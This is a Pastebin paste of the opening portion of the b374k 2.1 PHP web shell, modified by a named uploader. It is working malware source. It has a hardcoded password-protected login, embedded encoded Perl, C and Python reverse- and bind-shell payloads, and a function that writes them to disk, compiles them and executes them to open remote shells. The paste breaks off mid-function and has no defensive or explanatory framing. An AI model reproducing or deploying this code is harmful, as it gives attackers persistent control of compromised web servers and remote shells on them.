API tools faq
paste
aljazara

Untitled

aljazara
Apr 23rd, 2013
98
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 83.59 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. /*
  3. b374k 2.1 shell
  4. c0l0rf00ls \(0_x)/
  5. Modified by Aldjazara
  6. www.aldjazara.blogspot.com
  7.  
  8. */
  9.  
  10. error_reporting(0);
  11. @set_time_limit(0);
  12.  
  13. $s_name = "b374k"; // shell name
  14. $s_ver = "2.1"; // shell version
  15. $s_title = $s_name." ".$s_ver; // shell title
  16. $s_pass = "c7c583926ff971b75d00540940088df8"; // password in md5 format
  17. $s_login_time = 3600 * 24 * 7;
  18.  
  19. $s_auth = false; // login status
  20. if(strlen(trim($s_pass))>0){
  21. if(isset($_COOKIE['b374k'])){
  22. if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true;
  23. }
  24. if(isset($_REQUEST['login'])){
  25. $login = strtolower(trim($_REQUEST['login']));
  26. if(strtolower(trim($s_pass)) == md5($login)){
  27. setcookie("b374k",md5($login),time() + $s_login_time);
  28. $m = $_SERVER['PHP_SELF'];
  29. header("Location: ".$m);
  30. die();
  31. }
  32. else{
  33. setcookie("b374k",$login,time() - $s_login_time);
  34. $m = $_SERVER['PHP_SELF'];
  35. header("Location: ".$m);
  36. die();
  37. }
  38. }
  39. }
  40. else $s_auth = true; // $s_pass variable (password) is empty , go ahead, no login page
  41.  
  42.  
  43. // resources $xback_pl $xbind_pl $xback_c $xbind_c $xmulti_py $wmulti_c... this was used with bind and reverse shell
  44. // use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P
  45. $xback_pl ="dZFfT4MwFMXf+RQVmSvJEuYzqcmCaJZlYwH0xT+EwVUbR0vaLmZx87PblqnEbG/33HPOL7dwfhZspAhWlAUtiLWzkYAyXr2DCh2PS0SQ95zoUW6lgoa4Ninf3NChL9gGvlATfOgl9T/Rb2wQJfNsGUcDFMzccO94Y+JVTa1BqhSvoIg3SW/vHy6f9Kbl4kePjaZlXQtCGaiiVJzhQ8VHux2qKWAXhODikbm+Kduw1BeboaA6bngj1GFOlARXnGimHVZbVjaAh6pqh9qV9vU4S6JZnI/Q8qaYLsxgFkWWp/Fkrum2eZReccag+gN0Jx6N8hYYzvLr6WKE3KuLrtE3krv8hBOn6T+n+/T48AvMIWsuocP3lWb2pQZp+Q0=";
  46. $xbind_pl ="bZFvS8MwEMbf51PcYre1UKjiy1pxdFXHtnY0VRD/lNneNFiT0maozPnZTYpTEd+F537P5e65vZ63bhvvnguvxqYilmwhAOsu8YnFzqPZLKBdsX2kPuEru6t/wLP3okXubGBH9cNkzhZR2AdvSv2tZsE+GaVnl3AEBw5sAF+5sg8cH7bEmk1YFsX5IkmzwDLQ9f6tT9YtApPFEyr9ed1IJQtZBQ+ouvf9m1g+oz1URT10fNJ2oM3cweI0n8RR5g5YEk5zlqXRaO5++x14f4eSo02xaWRzI6gxozJ+WZsGLJnlxqpbsCRPowsWjcbj1NWzEr16qREDL8uyybmwfw/vTmKD5qP4yvn3o4q3CoXucLgrA9VBvjzyCnUYZEOWRYF6jDCJY5c5XcY926p5Gaxk8+QYpHOFSyGkAiNSMOH2SlxxgSUYWBtljQJYNp7ELj0amH70R0wuMpce/1WjNP2l4isWX+f8b5Wikvo+hjUoV7Dvky3ZfgI=";
  47. $xback_c = "XVFNawIxEL0L/odhhZJocF2v2oKIBSmtontrZVmTbDd0TSSJxQ/8702y1loPSWbmvXkzvLSEpNWOcRgay4Tqlk/NRuuvdjCxUfSL2ztAcivciYUMgJAWNrmQyAe5/qQEaJlraLv4+32FTzWlYINmw1i9oxa8bM6YzoQEI6QDWM43SqKE9LCnOWl3siLfiOoAjzB6zqZvk/QG2iptHVBaJQ3KrRIojEtW+FbAD+ma8Diy3zrENbe/8tT1kWv1WyBuwYrLK95JOreVi3rBnFhtDbpsRmA5G79ky3QxGb0SmM7ni1k6y9LxHIPrEAUgRJWUnFpUMALozgloY3hwGxPnx5Gr4h7HGA97+LTlWiuNovB8yAgP+F5Y5Ew7Ow93234QDx5es+Rf1vcZ33NaoSheCxmbMiKRv1D9azh000oZ7hp8fP4B";
  48. $xbind_c = "dVJhS+QwEP0u+B9yFW6Ttex2BT/1erCcCiK3B+oXUSkxSe1gNylJVl0W//tNmha0KrRJ5r2XzMtMDkCLZiMV+eW8BDOrf+/vHbzDLOjHMbh1c79tlfsCd0Y8KT8itPKA/xz0iFDW6pgStCdrDppy+yhSHJ5ZBEOc7++JmlsynQYi30UmpKpkSrR6qSRK0OtGRJhLaUvQxKq18Qo5qGhl7BNlpChIxggeEbmZA11WfA3NlhRkeVaer06v8w9sa6xHrvZGO8q9geDx+XZxz9hHYcg6c93U6xt6vlqenFyWy9VNEEfLSMYy0T5fevXvz0V5dX15uvybZiz6/RHFjLRYJWNp0k13Ogn8A2hJ+wLQ0cXJlP2MrlKSvS668xpwXulhx3GAXmpoFF0wLEVXwYILoVo/aLJoRG7aI9rxn+LFKD4KsXpVoqHJHA3OXZ2kSRho7B7rThCNcSpuCeHb8IWWirrlzvXyB+7wBnGttFdWSda3HnAj9pNCkeUQHmmDlxs0ORwe4uPZdVXswVu4D52f3OkJUu9BxLJJ/qXWfqcNbiuCHfJWrFvaGR2ys/Ak/MZqkgXlfw==";
  49. $xmulti_py = "lVNda9swFH22wf9B9R4qk9T56PYS0CCMlJYlzWgyGHQjuLZSizqSkZS2+ffVvbKb0GSM5SHWx9E5514dfTrrbY3uPQjZ4/KZ1DtbKhmFYlMrbYkyXWJ28KfyJ267xIoNj8LZ+NdqOrllg/7wcxQurifTKYuR4yEzJbnI4yhc3swmq/nPJbvs96Pwx/xuyWK3fD1f+EHB18SUvKpovimSURQGplyprWXKpLWquaTI24lJ3AFEqnlWVEJyQxMHlg0aqIK10kQQIYnO5COnlTvstxMkbsEd5r/34o9b1dxutSTNnjeU5VYoSXMlJZ58KUXFyVJvOfJYvcNvUDtHDFDOVf5Mm36Ar4C/5ry2DUwLaWnMtVb6t4xxv9UFUsRXxpMHwInlBKcKAsnkYuALQnCHwZovxv3EmgADi0dFHjeoj2Igt8eZ4iPuKnNuWmDrC6nBAjj42m8XA2j//gbbVeyK4bKg0P8ozPTjM3MZSmHgguWpYJIwNgQyzAYs3A9cKWjwAHJ5DAkwRDgd4gnnlPBXYekgaaIGfYdBgoouUq6jTzQ5Y2gf7CC+7/Yh2sznO/Uf2szGV6ub28myTX+6mH/7vlos7ybjWXPOFWrhSbhSaRv45GSRiHYvpKD0vFJ5VpXK2PMuQZNJC6iEse4g2NJbyfy1+RC6OfCcaA7GEj2m0HyeW0qhQwfk/04lVJGaivOafknecwmqrHkUIAA778EA2QDfSjcrCp1gE9MsByX636qD06r4FI/qHo6Iz1m5tYV6kXR45Iw09+M6HseHbshfRD1+T/gG";
  50. $wmulti_c = "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";
  51. $favicon = "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJREFUOMudk8lPU1EUxvkbXAMdXlug2Kp0eu8ViiUIC2wZJJYqkwUqFiqUMjqgAQppUnAIiBKmFoq0thYKBI0GBGMw0ejGxIVLdyYmYDQ0xPD5HokopmXh4kvuyb3nd853ck8cgLhYylymkblIadlzxmNVUXpAuf3vmwOB9pma+DvWhElkhFRhy4Cer/YpaugZ+bdDASfZiktU8+84PaiKqP3Kr+YbOd6CXnqbHpPtltjUzpgAzQK5mTFPRvZaDpBb9KwClFcOyi1H53oT1j+H0O6qgK4mrSUqgPGpTX+khMZHbuYFTiH4YRxPPk5j4KUDklvJqFjOh//1ME70H8VxZyqkDjFTdZ7cYnzue2d87mZ6Kcy+u42epyZcDZegNVwJzTAJiTMFpmkDsgtEn/Y7YHzuMD5BP1R4NF7yy9lgAbxv+3FzqRz2YD7KprJg9BfC92YEQ6sDkHanQG0Uhg5YoKblG6RbBnJchsD7QXQulqIpoEeZWwvDjB731xywzxrwYKUXkk4xxB2i7ymtQuuBGZCjsojRVwTXcysa/TqUTmSh2HMa91a7YZ0qRNVYLgNwQtwmQrJdsJvUSEBUz/8zQNVQ2o/aoAl3VtpQNpmNMxN5cC22w+LRwzSaC8e8DQ2TFiTZBEiuJ46wOYSZe20fQN9V9KW5JOhaakPxuA6uhQ5Y3DpUjuSgZ84G6roSostM1TqiOuY/kPUdWyOauRh7MYiuUD0uMqCeuUZcmWmBsI4PQS0PRA03wjdxmqMCWEmvitekHWI0uGth99RBahPvJQrNvGomUcurSNzkliaAcy6eiApglWoXuZOs/J+CS0xFMxf8Ks6rWAsXd9g2suJf4GzwyhPBPZ9A/BeAFccYv5NoiN+KdvcLtyxxEwhxgvoAAAAASUVORK5CYII=";
  52. // http://www.kryogenix.org/code/browser/sorttable/ - this makes the tables sortable
  53. $sortable_js = "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";
  54.  
  55. // make link for folder $pwd and all of its parent folder
  56. function swd($p){
  57. $ps = explode(DIRECTORY_SEPARATOR,$p);
  58. $pu = "";
  59. for($i = 0 ; $i < sizeof($ps)-1 ; $i++){
  60. $pz = "";
  61. for($j = 0 ; $j <= $i ; $j++) $pz .= $ps[$j].DIRECTORY_SEPARATOR;
  62. $pu .= "<a href=\"?d=".$pz."\">".$ps[$i]." ".DIRECTORY_SEPARATOR." </a>";
  63. }
  64. return trim($pu);
  65. }
  66. // remove <br />tags
  67. function rp($t){
  68. return trim(str_replace("<br />","",$t));
  69. }
  70. // replace spaces with underscore ( _ )
  71. function cs($t){
  72. return str_replace(" ","_",$t);
  73. }
  74. // strip slashes,trim and urldecode
  75. function ss($t){
  76. if (!get_magic_quotes_gpc()) return trim(urldecode($t));
  77. return trim(urldecode(stripslashes($t)));
  78. }
  79. // only strip slashes
  80. function ssc($t){
  81. if (!get_magic_quotes_gpc()) return $t;
  82. return stripslashes($t);
  83. }
  84. // bind and reverse shell
  85. function rs($s_win, $d, $type, $sc, $target){
  86. $result = "";
  87.  
  88. $fc = gzinflate(base64_decode($sc));
  89.  
  90. $errperm = "<p class=\"rs_result\">error: permission denied. check current working directory permissions</p>";
  91. $errgcc = "<p class=\"rs_result\">error: can not compile using gcc</p>";
  92.  
  93. if($type == "xbind_pl"){
  94. $fname = "b374k_bind.pl";
  95. $fpath = $d.$fname;
  96. if(is_file($fpath)) unlink($fpath);
  97. if($file=fopen($fpath,"w")){
  98. fwrite($file,$fc);
  99. fclose($file);
  100. if(is_file($fpath)){
  101. $res = exe("chmod +x ".$fpath);
  102. $res = exe("perl ".$fpath." ".$target);
  103. }
  104. else $result = $errperm;
  105. }
  106. else $result = $errperm;
  107. }
  108. elseif($type == "xbind_py"){
  109. $fname = "b374k_bind.py";
  110. $fpath = $d.$fname;
  111. if(is_file($fpath)) unlink($fpath);
  112. if($file=fopen($fpath,"w")){
  113. fwrite($file,$fc);
  114. fclose($file);
  115. if(is_file($fpath)){
  116. $res = exe("chmod +x ".$fpath);
  117. $res = exe("python ".$fpath." ".$target);
  118. }
  119. else $result = $errperm;
  120. }
  121. else $result = $errperm;
  122.  
  123. }
  124. elseif($type == "xbind_bin"){
  125. $fname = "b374k_bind";
  126. $fpath = $d.$fname;
  127.  
  128. if(!$s_win){
  129. if(is_file($fpath)) unlink($fpath);
  130. if(is_file($fpath.".c")) unlink($fpath.".c");
  131. if($file=fopen($fpath.".c","w")){
  132. fwrite($file,$fc);
  133. fclose($file);
  134. if(is_file($fpath.".c")){
  135. $res = exe("gcc ".$fpath.".c -o ".$fpath);
  136. if(is_file($fpath)){
  137. $res = exe("chmod +x ".$fpath);
  138. $res = exe($fpath." ".$target);
  139. }
  140. else $result = $errgcc;
  141. }
  142. else $result = $errperm;
  143.  
  144. }
  145. else $result = $errperm;
  146. }
  147. else{
  148. $fpath = $fpath . ".exe";
  149. if(is_file($fpath)) unlink($fpath);
